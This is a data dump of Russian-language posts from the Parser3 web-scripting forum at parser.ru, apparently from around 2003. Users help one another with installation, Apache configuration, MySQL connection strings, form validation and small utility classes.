"12441","The server encountered an unhandled exception and was unable to complete your request.\
\
More information about this error may be available in the Parser error log or in debug version of unhandled_exception.\
\
Если такая штука появляется?"
"12442","PLZ!!! Помогите собрать Parser  для Red Hat без Safe mode. "
"12443","не собирается :(("
"12444","в конфигурациный файл и замени метод\
[code]\
@unhandled_exception[exception;stack]\
^unhandled_exception_release[$exception;$stack]\
[/code]\
 на\
\
[code]\
@unhandled_exception[exception;stack]\
^unhandled_exception_debug[$exception;$stack]\
[/code]\
 \
и тогда ты получишь более конкретное описание ошибки\
"
"12445","Unhandled Exception (Debug)\
column not found\
uri\
\
C:/server/Apache2/htdocs/auto.p(7)\
exception.type=parser.runtime \
--------------------------------------------------------------------------------\
menu C:/server/Apache2/htdocs/auto.p(5)\
navigation C:/server/Apache2/htdocs/index.html(1)"
"12446","молодой а как у вас с ангельским?\
если плохо, то трудновато будет...\
парсер говорит, что в таблице нет столбца с именем uri, \
смотри строку 7"
"12447","Небось sections.cfg неправильно написал."
"12448","Я его скопировал в блокнот из документации:\
section_id \
 name \
 uri \
 \
1 \
\
 Главная \
 / \
 \
2 \
\
 Новости \
 /news/ \
 \
3 \
\
 Контакты \
 /contacts/ \
 \
4 \
\
 Цены \
 /price/ \
 \
5 \
\
 Ваше мнение \
 /gbook/ \
Мне конечно по поводу блокнота говорили...\
Просто не понятно для нас молодых написано."
"12449","и читай доки про устройство .cfg "
"12451","Если \"ручками добавляется в базу\", а Парсером через форму не хочет, то может быть две проблемы (а может и больше :))\
\
Проблема 1-я: Проверь, есть ли у того пользователя базы данных, которым ты к ней конектишься права на добавление записей в нужную тебе БД и нужную таблицу. (может ты \"ручками\" вводишь подключившись к БД как root, а из Парсера подключаешься другим бесправным пользователем).\
\
Проблема 2-я (более вероятная): ошибка в скрипте или в SQL-запросе на добавление записи. Здесь надо смотреть структуру твоей таблицы в БД, SQL-запрос, имена полей формы, ну и сам Парсерный скрипт.\
Вот такие дела в первом приблжении."
"12452","А меня, напротив, раздражает, когда под ссылкой \"дальше\", идущей после, скажем, ссылки \"9\" подразумевается ссылка на \"2\". "
"12454","1. будет\
\
2. мне вообще пофигу как это сделано. я не дизайнер. и ни тем ни тем не пользуюсь (пользуюсь только фильтром по ключевому слову) :)\
\
3. не замечал (http://parser.ru/forum/?id=12437).\
насколько я видел, все растаскивается и горизонтальный скролинг появляется тогда, когда человек запостил КОД, и этот код - широкий. но ломать код, внося в него символы перевода строки я считаю нехорошо, т.к. от этого работающий код может поломаться.\
\
4. (отправить на email) блин... была... потерялась... посмотрю.\
\
5. для начала парсер должен научиться принимать почту. делать это лишь-бы на чем только чтобы сделать - мне не интересно. и вообще - этот форум просто истыпательный полигон :)\
\
6. считать количество чтений не буду. и так древовидный форум тяжелее чем тот, что типа phpBB... Не хочу внедрять функцию, от которой пользы на мой взгляд нет, а ресурсы которая жрет неслабо.\
\
7. а зачем мне надо знать, кто чего ищет? нет, такой информации не храню. и не собираюсь (а вот постраничный показ результатов поиска сделать надо, но все руки не доходят)\
"
"12455","6. При наличии необходимости его можно сделать несущественно тяжелее...\
\
7. И access_log нету? ;-)"
"12460","access log есть... ты предлагаешь его парсером ковырять???"
"12461","берем упомянутые три варианта реализации:\
1. выбор по диапазону дат\
2. использование функций month + year\
3. like\
и делаем explain. тестировал только что с базой этого форума (тут есть поле dt_published, на нем есть индекс).\
\
Результаты:\
1. type = type, using index, using key, rows = 1491\
2. type = ALL, rows = 12425\
2. type = ALL, using index, rows = 12425\
\
как видим, поиск по диапазону (при наличии индекса) - самый эффективный вариант. month & year - самый плохой (и тут оно понятно, т.к. для КАЖДОЙ записи в таблице будут вычисляться значения этих функций и потом будет производиться сравнение с константами)\
\
вариант в like лучше, т.к. mysql даже умудрился использовать тут индексы, но все равно он сильно проигрывает выбору по диапазону...\
"
"12462","Понимаю, что машина так тоже сортирует (0, 204, 21, 282, 352, 42) но я то хочу по-нармальному! "
"12463","http://parser.ru/docs/lang/tablesort.htm"
"12464","Но если поле с датой не проиндексировано (а многие ли его индексируют? ;-)) - результат будет везде одинаковый - тот, что за номером 2."
"12467","Просто, чтоб знали, что без индекса все фигня. И пользовались индексами.\
Скажем так, немного развил тему ;-)))"
"12468","http://www.parser.ru/forum/?filter_type=lastdate&day=3&month=1&year=2002\
\
это когда хочешь узнать что писали в январе 2002, я не сам ковырял, это фильтр по дате:))))\
\"не виноватая я\", он сам упал:)))"
"12471","Возможно, кому-то пригодится...\
\
[code]\
@CLASS\
htpasswd\
\
@load[filename][htpass;htpasstext] Загрузить .htpasswd\
# Загружаем\
$htpass[^file::load[text;$filename]]\
$htpasstext[^htpass.text.match[\\n][g]{\
}]\
# Преобразовываем в таблицу\
$passwd[^table::create{login	password\
^htpasstext.match[:][g]{	}}]\
\
@create[] Инициализация без данных\
$passwd[^table::create{login	password}]\
\
@save[filename][htpass] Сохранить .htpasswd\
# Преобразовываем в строку\
$htpass[^passwd.menu{${passwd.login}:$passwd.password\
}]\
# Сохраняем в файл\
^htpass.save[$filename]\
\
@setpw[login;password][crypted] Добавление пользователя / изменение пароля\
# Шифруемся\
$crypted[^math:crypt[$password;^$apr1^$]]\
\
^if(^passwd.locate[login;$login]){\
	^rem{ Пользователь уже существует }\
	$passwd.password[$crypted]\
}{\
	^rem{ Пользователя надо добавить }\
	^passwd.append{$login	$crypted}\
}\
\
@delete[login] Удалить юзера\
^if(^passwd.locate[login;$login]){\
	$passwd[^remove[$passwd;^passwd.line[];1]]\
}\
\
# http://parser.ru/forum/?id=3803\
### удаление строк из таблицы\
# результат - таблица\
# tbl - имя таблицы\
# from - начиная с какой строки удалять (!!! нумерация строк с 1)\
# count - сколько строк удалять\
# пример: $mytable[^remove[$mytable;1;10]] - удалит первые 10 строк\
@remove[tbl;from;count]\
^if(def $tbl){\
    $result[^tbl.select((^tbl.line[]<$from) || (^tbl.line[]>=$from+$count))]\
}\
[/code]"
"12472","[code]\
^if(^passwd.locate[login;$login]){\
  $passwd.password[$crypted]\
}{\
...\
[/code]\
\
и что, это работает?"
"12473","Мне вообще-то этот метод не нужен был... А как надо правильно? :-)"
"12474","Весь форум облазил так и не нашел решение своей проблемы!\
\
Пробовал различные варианты, но даже Apache не загружается , не то что бы Parser, выдает  Syntax error и не загружает библиотеку.\
\
Может это только под XP. Как решить такую проблему?\
"
"12475","навярняка чё нить со слешом на мудрили..."
"12476","А в еррор.логе ничего не появляется. Апач не запускается даже... в досовском окне пишет что Syntax Error , мол, и библиотеку dll-ую запускать не хочет...\
\
\
LoadModule html-parser modules/ApacheModuleParser3.dll\
\
вот на эту строку ругается"
"12477","Как сделать (парсер3) чтобы в одной строке (sections.cfg) не было картинки? Пример:\
img2  img  uri\
image2.gif  image.gif  /about/\
image2.gif  image.gif  /about/ \
<<<no image>>>  image.gif  /about/  "
"12480","[code]\
@setpw[login;password][crypted] Добавление пользователя / изменение пароля\
# Шифруемся\
$crypted[^math:crypt[$password;^$apr1^$]]\
\
^if(^passwd.locate[login;$login]){\
	^rem{ Пользователь уже существует }\
	$passwd[^remove[$passwd;^passwd.line[];1]]\
}\
\
# добавляем пользователя\
^passwd.append{$login	$crypted}\
[/code]"
"12483","это не ХР, это апач, так что всё дело в конфиге"
"12484","У него есть параметр configtest.\
Запусти его с этим параметром - он скажет, где и какая проблема.\
\
Да, возможно под виндой придется запускать не apachectl, а сам apache. Попроси его с ключиком /? - он расскажет, где у него там configtest"
"12485","Подскажите пожалуйста, как правильно прописывается путь к базе?\
моя таблица лежит:\
Z:\\usr\\local\\mysql\\data\\p3test\
\
и как правильно указать путь к ней в auto.p (Z:\\home\\example.ru\\www\\auto.p)в строчке - \
@auto[]\
$connect_string[mysql://asv:123@Z:\\usr\\local\\mysql\\data\\p3test\\]\
\
Пытался и так и так, но блин... Вопрос, понятное дело, лоховской, но чего делать, надож мне как то учиться :)"
"12486","Это конечно при условии, что у Вас mySQL запущен и база в нем называется \"p3test\" ... Просто так Парсер к таблицам не цепляется ..."
"12487","Я так уже делал, битый image на сайте выходит"
"12488","Если переменная не определена, то и не выводите ничего в HTML ..."
"12489","У меня в auto.p напиано вот это>>> <a href=\"$sections.uri\"><img src=$sections.img></a><img src=$sections.img2>,  мне не нужен sections.img2 везде так мне надо из одной строки убрать image. Это можно сделать написав ^if() в auto.p"
"12491","Это работает только в одной дириктории, например /about/, а можно сделать так чтобы это было везде?"
"12493","Я уже все сделал, большое спасибо :-)"
"12494","Товарищи, как ввести ограничение на формат вводимый в поле формы?\
С числовыми всё понятно, получаем значение, потом под .forma[] его и сортируем по прочим условиям если нужно.\
А если кто-либо введёт в форму значение 88,36 вместо 88.36, т.е. получим просто строку.\
Вариант с преобразование строки к double не проходит..."
"12495","1. Такие вещи имхо лучше проверять яваскриптом.\
1.1. И не забывать писать понятные сообщения об ошибках, см. http://www.uibook1.ru/\
2. В парсере проверить строку на правильность, используя регулярные выражения очень легко. В данном случае следует проверять условие ^str.match[^^[\\w\\.]+^$]."
"12499","Урок 4. Шаг второй - переходим к работе с БД\
переходим и пишем в auto.p:\
@auto[] \
odbc://DSN=dsn^;UID=user^;PWD=password\
Получаем:\
connection string must start with protocol://\
connect\
C:/server/Apache2/htdocs/admin/index.html(28)\
exception.type=parser.runtime \
"
"12500","ну и конечно напиши как строку подключения вводишь, ну понятно что без паролей:)))"
"12501","#начало обработки \
^if(def $form:date && def $form:header && def $form:body){ \
   ^connect[$connect_string]{ \
      ^void:sql{insert into news \
         (date, header, body) \
      values  \
         ('$form:date', '$form:header', '$form:body') \
      } \
      …сообщение добавлено \
      } \
}{ \
   …для добавления новости необходимо заполнить все поля формы \
} \
</center>"
"12502","возьми и просто выведи строку протокола, вне оператора, \
если напишит её то нормально, просто у тебя наверна она не определена\
перед вызовом оператора connect напиши\
$connect_string[odbc://DSN=dsn^;UID=user^;PWD=password]\
\
и замени всё dsn на то что надо (не знаю я с MySQL работаю)\
ну user на имя пользователя\
ну пароль тоже понял куда писать"
"12503","Где ее (MySQL) или его (MySQL) взять? Я какую-то фигню скачал с\
MySQL.com ---- mysql-3.23.55-win.zip.\
Что такое не понял.  "
"12504","Можно ли так:\
Считать строку из БД в таблицу Parser, произвести нужные изменения, далее удалить старую строку из БД, записать новую из таблицу Parser.\
\
Можно ли проще?? "
"12505","У меня на сервере уже стоит Парсер 1.0. Установил 3.0 по инструкции. Теперь на все файлы в данной папке где был настроен .htaccess - выдает невозможность доступа к одному и тому же файлу - /cgi-bin/parser3.cgi/index.html. Когда набираю в броузере cgi-bin/parser2.cgi -  находит версию 1.0. В чем может быть проблема?\
Спасибо\
"
"12506","Можно ли каким-то образом установить поддержку парсера самостоятельно, если на сервере он не установлен? В смысле, какие-то файлы накинуть в /cgi-bin , воппщем, сделать так, чтобы все работало без полного пакета?"
"12508","да я по крайне мере тебе рекомендую:\
в том случае сли ты будешь потом это хостить у провайдера у которого *nix, то это одназначный ответ ДА, хотя ещё провайдеры предоставляют PostgreSQL базы, всё таки MySQL как то больше распространена, и на форуме тебе больше народу смогут ответить... "
"12509","если уж ты этого не умеешь, тогда извените..."
"12510","а вот что ночные кодеры, наверноспят или очень заняты:)))\
вот смотри придёт PAF и эти сообщения в trash кинет:)"
"12511","http://www.parser.ru/docs/lang/install4apachecgi.htm"
"12512","если тебе не нужно анализировать что у тебя лежит в таблице, и ты знаешь номер записи(id) \
т.о. документацию по UPDATE своей СУБД, для MySQL:\
\
UPDATE [LOW_PRIORITY] [IGNORE] tbl_name\
    SET col_name1=expr1 [, col_name2=expr2, ...]\
    [WHERE where_definition]\
    [LIMIT #]\
\
"
"12513","А как проверить значение в БД. Plz напишите то же что и для update"
"12515","И все-таки, хотелось бы поточней о это сервере. ODBC я установил в lib, что же в строке подключения писать? Никаких паролей я не видел. Преобразовал базу данных в Access в формат SQL сервер. Поля такие:\
поле               тип данных      длинна\
id(ключевой)      int                    4\
date                  datetime           8\
header               varchar           255\
body                  text                16\
Во время преобразования написал доверительное соединение.\
\
Или как ставить MySQL или если кто знает какой-нибудь русскоязычный ресурс по установке MySQL"
"12516","Благодарю, уважаемый!\
Яву я к сожалению не знаю... как-то не доводилось...\
\
А за условие спасибо - попробую.\
И ссылочку пошёл изучать. :)"
"12519","Приятно, всё-таки когда есть друзья по несчастью :-)\
\
Хотя у меня сложилось впечатление, что от части всё дело в этих админах и хостерах, которые Apache установят, а что и как до конца не понимают.\
\
Я вот тоже, специально ради Parser'а хостинг поменял. У моего нового хостера вон даже CGI в С++ ставить можно. Только пользы от этого - как с козла молока.\
\
Редкие люди - настоящие профессионалы. Их надо ценить и делать им дорогие подарки.\
\
Прошу прощения за лирическое отступление от топика, просто наболело."
"12520","Ругается на строку \
\
AddHandler parser3-handler html\
\
Error Log :AddHandler requires at least two arguments, a handler name followed by one or more file extensions"
"12521","Что-то подсказывает мне, что для твоей локальной установки более чем достаточно CGI версии..."
"12524","То там неразрывные пробелы стоят. Просто перенабей пробелы. Должно помочь"
"12525","зачем им мозги, я не хочу никого обидеть,  но когда новички приходят в форум они почему то думают, что им должны не подсказать, а написать рабочий код, да ещё чтоб с выездом надом, для установки попутного обеспечения... :)))\
ну не знаю все может такие бфли, по простоте душевной...\
так что newcomers, you are welcome!"
"12526","...для чего обычно используется неплохо зарекомендовавший себя метод: \"изучение документации\"\
\
эти самые \"документации\" пишут не для самовыражения, а для того, чтобы донести людям, которые будут использовать продукт что и как им нужно сделать, чтобы установить/настроить/работать.\
\
по моему в вашем случае вы получите совершенно аналогичные проблемы  с MSSQL, MySQL и пр.\
\
Для того, чтобы парсер работал с сервером БД, его надо:\
1. установить сервер БД\
2. настроить его (на этом шаге обычно создается пользователь под которым будет происходить подключение к серверу, ему задается пароль, определяются сами базы).\
3. установить библиотеки парсера для нужного сервера БД\
4. объяснить парсеру, где искать эти библиотеки (это уже почти сделано за вас в конфигурационном auto.p)\
5. сказать парсеру из кода странички, к какой базе данных ему подключаться, под каким пользователем и с каким паролем. (http://parser.ru/docs/lang/opconnect.htm)\
6. делать нужные запросы к БД \
\
так-же вы будете наверное сильно удивлены, если откроете в текстовом редакторе конфигурационный auto.p и ближе к концу увидете заготовки по заданию строк соединения ($SQL.connect-string) с сервером БД для 4 серверов.\
"
"12527","Если введенное удовлетворяет условию ^form:fld.match[^^\\+|\\-?[0-9]+(\\.|,[0-9]*)?^$], можешь просто сделать риплейс запятой на точку."
"12528","Точнее не работали до переустановки Апача. "
"12529","Вот так и сума можно сойти, скопировал AddHandler parser3-handler html и сразу поставил точку перед html. Запустил - ошибка... Скопировал ответ с форума, точно такую же строку с точкой - ошибки нет, все работает. Отменил замену вставил рядом со своей строкой скопированную из форума. Сверил - идентичны. Удалил скопированную - ошибка. Вставил - работает. Поверил в чудо ;).  но это оказывается просто пробелы...\
\
\
Еще раз спасибо"
"12530","Несколько неудобно их читать. Немогли бы вы поставит ссылки на русские доки MySQL, Apache и на то, что еще понадобится?\
А так придется разбираться не только в доке, но и в английском."
"12531","молодой человек, чтобы чего достичь нужно иметь не только амбиции, но желание что-то делать, в наешм случае думать\
\
http://www.yandex.ru/yandsearch?text=%E4%EE%EA%F3%EC%E5%ED%F2%E0%F6%E8%FF+MySQL\
\
а вам тоже самое слабо было?"
"12532","http://www.citforum.ru/ там много чего интересного и на русском!"
"12533","для себя щас пытаюсь опнять как это работает. Почти все понял, кроме\
\
вот код который пробую\
[code]\
# работа с URI - формирование списка всех URI сайта\
@CLASS\
uri\
\
#######\
# конструктор\
@init[]\
$items[^table::create{id	parent_id	dir	title\
1	0	hardware	Железо\
11	1	computers	Компьютеры\
12	1	printers	Принтеры\
121	12	laser	Лазерные\
122	12	ink	Струйные\
2	0	software	Программное обеспечение\
21	2	os	Операционные системы\
22	2	editors	Текстовые редакторы\
3	0	news	Новости}]\
# входная таблица разделов\
$self.items[$items]\
\
\
# создание хэша из таблицы для ускорения поиска\
$items_hash[^items.hash[id]]\
\
#######\
# форм. таблицы соответствий uri для всех разделов сайта\
@get_all_site_uri[][uri]\
$result[^table::create{uri	id	title}]\
$uri{^if(def $items_hash.[$items.id].url){$items_hash.[$items.id].url}{^get_uri[$items.id]}}\
^items.menu{\
\
	^result.append{$uri	$items.id	$items.title}\
}\
\
#######\
# получение uri раздела по заданному id\
@get_uri[id][parent_id;uri]\
$parent_id($id)\
^while($parent_id){\
	^if($items_hash.[$parent_id]){\
		$uri[$items_hash.[$parent_id].dir/$uri]\
		$items_hash.[$id].url[$uri]\
		$parent_id($items_hash.[$parent_id].parent_id)\
	}{\
		$parent_id(0)\
	}\
}\
$result[/$uri]\
\
\
@show_uri[]\
$site[^get_all_site_uri[]]\
<table border=1 cellspacing=0>\
^site.menu{\
<tr>\
<td class=defont>$site.uri</td>\
<td class=defont>$site.id</td>\
<td class=defont>$site.title</td>\
</tr>\
}\
</table>\
[/code]\
\
не могу понять, почему в функции @get_all_site_uri[][uri]\
[code]\
$uri{^if(def $items_hash.[$items.id].url){$items_hash.[$items.id].url}{^get_uri[$items.id]}}\
^items.menu{\
\
	^result.append{$uri	$items.id	$items.title}\
}\
[/code]\
переменная [code]$uri[/code]  определяется не в ^items.menu\
т.е. так \
[code]\
@get_all_site_uri[][uri]\
$result[^table::create{uri	id	title}]\
^items.menu{\
$uri{^if(def $items_hash.[$items.id].url){$items_hash.[$items.id].url}{^get_uri[$items.id]}}\
	^result.append{$uri	$items.id	$items.title}\
}[/code]\
\
самое странное, что так пробую - результат тот же. Кто нибудь объясните почему так???\
"
"12534","http://www.parser.ru/forum/?id=9604"
"12535","Граждане, не Parser 3.0.0007 у моего хостера не пашет, работает токма .0005, а у меня фичи по 6й есть. Если у кого есть 6й Парсер, пришлите, плз."
"12536","забыл сказать, под Linux с Апачей нужен"
"12538","Идешь в даунлоад и меняешь в ссылке на файл разные цифирки. Получаются чудеса. Например: http://parser.ru/f/1/download/redhat72/parser3_3_0_0006_redhat72_cgi_xml.tar.gz"
"12540","О том, что сохраняется там [b]код[/b] а выполняется этот код тогда, когда происходит обращение к этой $uri\
\
Надеюсь, что прояснил..."
"12542","Выносится на обсуждение для выработки ТЗ следующая структура ParCMS (рабочее название). В идеале каждый пункт должен стать самодостаточным подключаемым самостоятельным модулем (классом) со своими методами, шаблонами, переменными и т.п. и т.д.\
\
Программа-максимум:\
\
1.  Статьи и информационные страницы общего характера\
2.  E-Commerce \
3.  Форумы (гостевые, отклики на статьи и т.п. интерактив)\
4.  Ссылки (внутренние, внешние, скачивание файла)\
5.  Опросы и голосования\
6.  Баннеро-крутилка внутренняя\
7.  Новости\
8.  Ошибки (Лог)\
9.  ToDo (План работ по сайту)\
10. Календарь (записи дней рождений, напоминалки и т.п.)\
12. Менеджер файлов (закачка, удаление, редактирование)\
13. Каталог изображений (закачка, удаление, редактирование)\
14. Медиа-каталог (фильмы, песни, речевки)\
15. Записная книжка (база данных адресов, фамилий, телефонов...)\
16. Формы обратной связи (form action...)\
17. Листы рассылок\
18. Личные сообщения пользователей сайта (админу и друг-другу)\
19. Викторины (акции для e-commerce и т.п.)\
20. Статистика сайта (по типу spylog)\
21. Управление сайтом (очистка кэша, создание разделов, секций и т.п.)\
22. Управление пользователями (регистрация, удаление, восстановление пароля, права доступа...)\
\
Необходимы минимум:\
п.п. 1, 4, 13, 16, 17, 21 и 22.\
\
Вопрос к команде Парсера: а можно сделать еще один форум: http://parser.ru/forum/parcms/ ?\
\
Не хочется тут \"засорять\" пространство. А потусоваться и попытаться понять сколько народу в это дело может вписаться - надо бы. Может так получится, что и не пойдет идея в массы, а может что и выйдет. В случае чего всегда можно будет просто удалить...\
\
Надо по-пробовать :)\
"
"12543","...Егоров, при наборе кода, пользовался клавишей Shift... :-)"
"12544","И Вам благодарность :). Первый вариант протестил, этот тоже попробую.\
Спасибо!"
"12545","Если не трудно поясните:\
Unknown database 'p3testcs'"
"12546","а база с таким именем создана?"
"12547","Как получить в Parser3 текущее время по Гринвичу???\
На форуме вразумительно ответа я не нашел. :("
"12548","Вообще в Access я преобразовал в формат MySQL. Название: p3testCS.adp\
В auto.p написал:\
@auto[] \
$connect_string[mysql://root:password@localhost/p3testCS]"
"12549","отдельное спасибо Misha v.3"
"12550","так идёшь сюда и качаешь:\
http://www.mysql.com/downloads/download.php?file=Downloads%2FMyCC%2Fmysqlcc-0.8.9-win32.zip&mirror=http%3A%2F%2Fmysql.directnet.ru%2F\
\
Это GUI для работы с MySQL, специально для тебя переведена на русский язык:)))\
\
если у тебя проблемы с ангельским, то попробуй воспользоваться, \
www.translate.ru\
\
\
"
"12551","если у хостера системное время по гринвичу, то через конструктор\
::now[] получишь его, а так вычетай уж относительно своего часового пояса..."
"12553","Вы берёте самый последний (универсальный) вариант кода и начинаете его править, не понимая что делаете\
\
1. Вы делаете конструктор без параметра, хотя он должен быть с параметром.\
2. Вы в нём создаёте исходную таблицу разделов, хотя этого не надо делать - она и передается параметром при создании экземпляра класса.\
3. Вы создаете поле класса items из (сюрприз!) несуществующего параметра конструктора.\
\
И хотите чтобы все работало :) Вообщем так, - я оставил возможность загрузки только одного примера кода, - загрузите его и почитайте как им пользоваться, - код не правьте, если не хотите проблем.\
[code]\
# создание исходной таблицы\
$items[^table::create{id	parent_id	dir	title\
1	0	hardware	Железо\
11	1	computers	Компьютеры\
12	1	printers	Принтеры\
121	12	laser	Лазерные\
122	12	ink	Струйные\
2	0	software	Программное обеспечение\
21	2	os	Операционные системы\
22	2	editors	Текстовые редакторы\
3	0	news	Новости}]\
\
# создание объекта класса\
$object[^uri::init[$items]]\
# получаем таблицу содержащую список всех URI сайта\
$site_uri[^object.get_all_site_uri[]]\
[/code]"
"12554","непонятно, чем помочь :)\
\
давайте в почту с деталями?\
[брали cvs head, что за сообщения об ошибках получили: copy/paste, если не трудно]"
"12555","как видно, неленивых знатоков access тут нет.\
\
совет: когда у меня подобные простые проблемы, я иду прямиком в поиск «по Группам» на google. обычно, на простые грабли наступали и до меня, и, возможно, ответ найден.\
\
часто забавно, когда проблема возникла и найден ответ года два назад :)"
"12556","Я же выше привел пример для чего это нужно. А то люди начнут текст форматировать, а он начнет проподать:)"
"12557","и у меня вот идея: нужен, забодай его комар, NNTP доступ к форуму.\
а редиска PAF упорно не делает встроенную работу с NNTP серверами, или, на худой конец, какой-нибудь простой механизм подцепить parser к inetd, и простой доступ к потокам stdin/stdout.\
\
впрочем, он говорит, что написал это в TODO."
"12559","в работе, и уже большая часть готова.\
желающие могут взять в CVS, и доработать возню с кодировками.\
\
помогу и расскажу.\
\
пока же это сидит в моём TODO, но без движения: тут явно нужен клиент, который такое захочет."
"12560","отдельного форума не нужно, - лениво в 2 форума лазить."
"12561","...может и будет целесообразно отдельный форум открыть, если активность по этой теме будет очень высокой.\
"
"12562","поправьте. не разберётесь — приведите целиком."
"12563","мало ли почему человек не почитал, дадим ему url, почитает.\
поможем, если можно."
"12564","А что же тогда тут обсуждать?\
Только технические проблемы по работе с П3?\
По моему, если уж делать несколько форумов, а если делать, то делать форум по каждому пункту, то должно быть:\
\
A: Большая активность, что пока не очень наблюдается. А для этого нужно крутить сайт. Баннеры вешать и тому подобное. Вам это надо? Мне нет.\
\
B: Как вы заметили, обсуждать темы логики программирования лезут вообче единицы, а вы предлогаете сделать вместо одного функционирующего несколько полу пустых конференций.\
\
C: Как уже сказали лазить по нескольким форумам лень. И то правда.\
Человек полезет в форум по своему вопросу и небудет пробираться по нескольким, а этим вы обречете нуждающихся в совете на игнорирование со стороны тех, кто мог бы ему помочь.\
\
Вывод: Ещё рано для таких вещей по моему.\
\
"
"12565","Граждане, помогите решить проблему. Задолбался тыркаться низнаю куда. Проблема в следующем: У хостера Linux RedHat, Версия Kernel:  2.4.7-10smp; Версия Apache:  1.3.27 (Unix). Я сразу не смог поставить, попросил хостера закачать на сайт Парсер. У него оказалась только 3. 0005 версия, все заработало. А сайт у меня успользует фичи от версии 3.0006. Скачал все три последние версии Парсера (3.0005, 3.0006, 3.0007) Ставлю, вылезает 500 ошибка. Права на скрипт 755. \
Запись в .htaccess такая\
[code]\
# назначение обработчиком .html страниц:\
AddHandler parsed-html html\
Action parsed-html /cgi-bin/parser3.cgi\
\
# запрет на доступ к .cfg и .p файлам:\
<Files ~ \"\\.(p|cfg)$\">\
Order allow,deny\
Deny from all\
</Files>\
[/code] \
\
Закачиваю вроде в бинарном виде (размер их пятой версии и версии, которую я скачал с parser.ru совпадал).\
Поможите, плз. К тому же другие cgi тоже не хотят работать"
"12566","в TODO стоит такое…\
любопытство: зачем понадобилось?\
если срочно: sql сервер поддерживает.\
\
[code]\
$date:UTC-offset  \
[/code]\
сколько дней надо прибавить,чтобы попасть в local время\
[code]\
$date:TZ  \
[/code]\
наш часовой пояс, дробное, в часах (в австралии есть с точностью до получаса)\
\
"
"12568","можете смотреть на http://crimnet.invex.ru/poll/"
"12569","Миша не возьмёт код :)"
"12570","Читал 4 раза. Пользуюсь версией без поддержки xml, так что дополнительные библиотеки не нужны. Остальные пункты ФАКа проверил. Все по инструкции.\
[i]Посмотрите в лог веб-сервера, там подробно написано, что случилось.\
Типичная ошибка, «Premature end of script headers», означает, что вы забыли поставить бит «executable» или выбрали версию Parser, не соответствующую операционной системе вашего сервера (уточните ее у системного администратора).[/i]\
Как писал поставил разрешение 755 на parser3.cgi\
\
[i]Так-же причиной может быть то, что вы «закачали» исполняемый файл на сервер _не_ в режиме binary. В этом случае размер закачаного файла будет отличаться от файла, лежащего на вашем локальном диске.[/i]\
Совпадает, еще раз проверил, качает в бинари\
\
[i]Другой причиной может являться опечатка в .htaccess файле, запись в лог файле будет содержать подробное указание, что вы сделали не так.[/i]\
файл .htaccess скопировал с сайта Parser.ru из раздела download. Текст написал в предыдущем сообщении.\
\
Еще раз прошу помощи."
"12571","разумеется, в первоначальном сообщении обо всём этом надо умолчать :)\
\
\"500 ошибка\" это ничего никому не говорит.\
что в вашем error log? если premature end of script headers, то \
\
1.\
если, есть возможность, пожалуйста, просто запустите cgi скрипт в консоли, что скажет?\
2.\
если есть возможность, посмотрите в ScriptLog, что там?\
3.\
может, у вас совсем всё плохо, и появился файлик 'core', а вы об этом ничего не говорите?"
"12573","иногда туда попадают неразрывные пробелы (десятичный код 160): проверьте\
\
или просто удалить временно .htaccess и посмотрите, будет-ли ошибка при обращении к html файлу (естественно, парсером документы при этом обрабатываться не будут).\
\
ну и про unix формат переводов строк в этом файле уже написали..."
"12574","А какой вообще смысл делать еще один набор стандартных модулей CMS только ради того, чтобы написать их на Парсере?"
"12575","попросил, скачать самого хостера и поставить 7ю версию, все заработало. Хотя странно, размеры моего и тот что он сам скачал совпадали.\
Извините за беспокойство. "
"12576","что:\
1. просто интересно\
2. целесообразно, если сайт делается на Парсере, то и CMS сделать на нем же - с одной технологией иногда работать гораздо быстрее и удобнее.\
\
P.S.\
Хотя могут быть (и есть) исключения."
"12578","Как на этом форуме \"вылавливаются\" сообщения, в Заголовок который какая-нибудь горячая голова введёт несколько пробелов и больше ничего??? (Я пока здесь это не проверял, можно в принцпе и проверть :), но пока не буду). В таком случае в БД всё будет записываться нормально, но проблема в том, что когда будет осуществляться вывод, то пробелы не смогут превратться в гиперссылку! :(\
Я придумал один способ борьбы с этим злом, но может можно придумать что-то попроще???\
[code]\
# Убрать все пробелы\
$ss[^form:tema.match[ ][g]{}]\
# Если были только одни пробелы, то ^ss.length[]=0\
^if(def $form:tema && ^ss.length[]>0){$form:tema}{Без темы}\
[/code]\
"
"12579","не забывайте о неразрывных пробелах, табуляциях, знаках переноса строк, и знаков разрыва страниц.\
\
всё это whitespace — все они видны, как «пустое место».\
\
в regex есть понятие whitespace, в parser в описании кодировки есть столбец «является ли буква whitespace», и этот флаг проставлен, у кого нужно.\
\
диагноз: почитайте о \\s"
"12580","Конечно воль на выдумки хитра и можно придумать и другой, но какой в этом смысл?"
"12582","Правильно ли я Вас понял?\
Если мой вариант \"усложнить\" так, то враг не пройдёт:\
$ss[^form:tema.match[\\s][g]{}]\
"
"12584","У хостера на час отстает от MSK... :(\
\
Короче блин затык."
"12586","просто это так, для самоудовлетворения :)))))\
\
А Миша не возьмет потому, что он злой!\
\
P.S. А если по делу - модуль вполне независимый и к ParCMS подкрутится в 5 сек. - почитайте описание..."
"12587","в TODO стоит такое…\
^^^^^^^^^ не знаю что стк (TODO)\
\
любопытство: зачем понадобилось?\
Надо всего на всего запомнить дату в GMT,\
чтоб в гостевой джаваскрипт пересчитал на локальное.\
\
если срочно: sql сервер поддерживает.\
$date:UTC-offset  \
^^^^^^^^^^^ не понял. (Парсер3 не узнает $date:UTC-offset)\
а через sql унать дату намой взгляд жестоко...\
думаю, придется из перла внимать.\
\
$date:TZ  \
наш часовой пояс, дробное, в часах (в австралии есть с точностью до получаса) \
^^^^^^^^^^ про Австралию опять не всосал :()\
\
P.S. Респект за parser!\
Особенно поразила Parser3 Source Code документация, графы и вообще... Сильно! Жаль, для меня тёмный лес собрать parser :["
"12588","Благодаря его \"злости\", я очень многое понял и улучшил, так что давайте не пинать Мишу."
"12589","...поехали... [ (c) Гагарин ]\
\
1. бросать \"parser.runtime\", а тем более \"parser.compile\" - по моему ужасно. Особенно для того, кто будет отлаживать код.\
\
2. @extract[poll_id;type] ^if(def $poll_id) -> ^if(^poll_id.int(0))\
\
3. encoding=\"windows-1251\" -> encoding=\"$responce:charset\"\
\
4. action=\"$request:uri\" -> action=\"^taint[xml][$request:uri]\" (default - html, при определенных параметрах отгребешь ошибку... хотя в принципе, далее там стоит ^untaint{}... может он полечит... если ему прописать параметр [xml])\
\
5. $poll_id[^string:sql{SELECT MAX(poll_id) FROM $pi_table}[$.default{1}]] -> $poll_id(^int:sql{SELECT MAX(poll_id) FROM $pi_table}[$.default{1}]) (встречается несколько раз)\
\
